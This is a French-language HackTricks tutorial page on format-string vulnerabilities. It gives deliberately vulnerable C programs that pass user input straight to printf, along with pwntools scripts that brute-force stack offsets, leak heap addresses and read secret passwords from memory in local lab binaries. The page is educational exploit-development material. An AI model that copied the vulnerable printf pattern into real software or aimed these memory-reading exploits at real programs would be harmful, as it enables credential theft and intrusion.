mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
4.9 KiB
Markdown
169 lines
4.9 KiB
Markdown
# Chaînes de format - Exemple de lecture arbitraire
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Lire le binaire de départ
|
|
|
|
### Code
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(void) {
|
|
char buffer[30];
|
|
|
|
fgets(buffer, sizeof(buffer), stdin);
|
|
|
|
printf(buffer);
|
|
return 0;
|
|
}
|
|
```
|
|
Compilez-le avec :
|
|
```python
|
|
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
|
```
|
|
### Exploiter
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./fs-read')
|
|
|
|
payload = f"%11$s|||||".encode()
|
|
payload += p64(0x00400000)
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean())
|
|
```
|
|
- Le **décalage est de 11** car en plaçant plusieurs A et en **brute-forçant** avec une boucle de 0 à 50, il a été trouvé qu'à un décalage de 11 et avec 5 caractères supplémentaires (pipes `|` dans notre cas), il est possible de contrôler une adresse complète.
|
|
- J'ai utilisé **`%11$p`** avec un remplissage jusqu'à ce que l'adresse soit entièrement 0x4141414141414141.
|
|
- La **charge utile de la chaîne de format est AVANT l'adresse** car le **printf s'arrête de lire à un octet nul**, donc si nous envoyons l'adresse puis la chaîne de format, le printf n'atteindra jamais la chaîne de format car un octet nul sera trouvé avant.
|
|
- L'adresse sélectionnée est 0x00400000 car c'est là que le binaire commence (pas de PIE).
|
|
|
|
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
|
|
|
## Lire les mots de passe
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
|
|
|
int main() {
|
|
char stack_password[20] = "secretStackPass"; // Password in stack
|
|
char input1[20], input2[20];
|
|
|
|
printf("Enter first password: ");
|
|
scanf("%19s", input1);
|
|
|
|
printf("Enter second password: ");
|
|
scanf("%19s", input2);
|
|
|
|
// Vulnerable printf
|
|
printf(input1);
|
|
printf("\n");
|
|
|
|
// Check both passwords
|
|
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
|
printf("Access Granted.\n");
|
|
} else {
|
|
printf("Access Denied.\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
Compilez-le avec :
|
|
```bash
|
|
clang -o fs-read fs-read.c -Wno-format-security
|
|
```
|
|
### Lire depuis la pile
|
|
|
|
Le **`stack_password`** sera stocké dans la pile car c'est une variable locale, donc il suffit d'abuser de printf pour afficher le contenu de la pile. C'est une exploitation pour BF les 100 premières positions afin de révéler les mots de passe de la pile :
|
|
```python
|
|
from pwn import *
|
|
|
|
for i in range(100):
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$s\na".encode()
|
|
p = process("./fs-read")
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
Dans l'image, il est possible de voir que nous pouvons leak le mot de passe de la pile à la `10ème` position :
|
|
|
|
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
|
|
|
### Lire les données
|
|
|
|
En exécutant le même exploit mais avec `%p` au lieu de `%s`, il est possible de leak une adresse de tas depuis la pile à `%25$p`. De plus, en comparant l'adresse leakée (`0xaaaab7030894`) avec la position du mot de passe en mémoire dans ce processus, nous pouvons obtenir la différence d'adresses :
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
Il est maintenant temps de trouver comment contrôler 1 adresse dans la pile pour y accéder depuis la deuxième vulnérabilité de chaîne de format :
|
|
```python
|
|
from pwn import *
|
|
|
|
def leak_heap(p):
|
|
p.sendlineafter(b"first password:", b"%5$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
for i in range(30):
|
|
p = process("./fs-read")
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
password_addr = heap_leak_addr - 0x126a
|
|
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$p|||".encode()
|
|
payload += b"AAAAAAAA"
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output.decode("utf-8"))
|
|
p.close()
|
|
```
|
|
Et il est possible de voir cela dans le **try 14** avec le passage utilisé, nous pouvons contrôler une adresse :
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
### Exploit
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process("./fs-read")
|
|
|
|
def leak_heap(p):
|
|
# At offset 25 there is a heap leak
|
|
p.sendlineafter(b"first password:", b"%25$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
# Offset calculated from the leaked position to the possition of the pass in memory
|
|
password_addr = heap_leak_addr + 0x1f7bc
|
|
|
|
print(f"Calculated address is: {hex(password_addr)}")
|
|
|
|
# At offset 14 we can control the addres, so use %s to read the string from that address
|
|
payload = f"%14$s|||".encode()
|
|
payload += p64(password_addr)
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|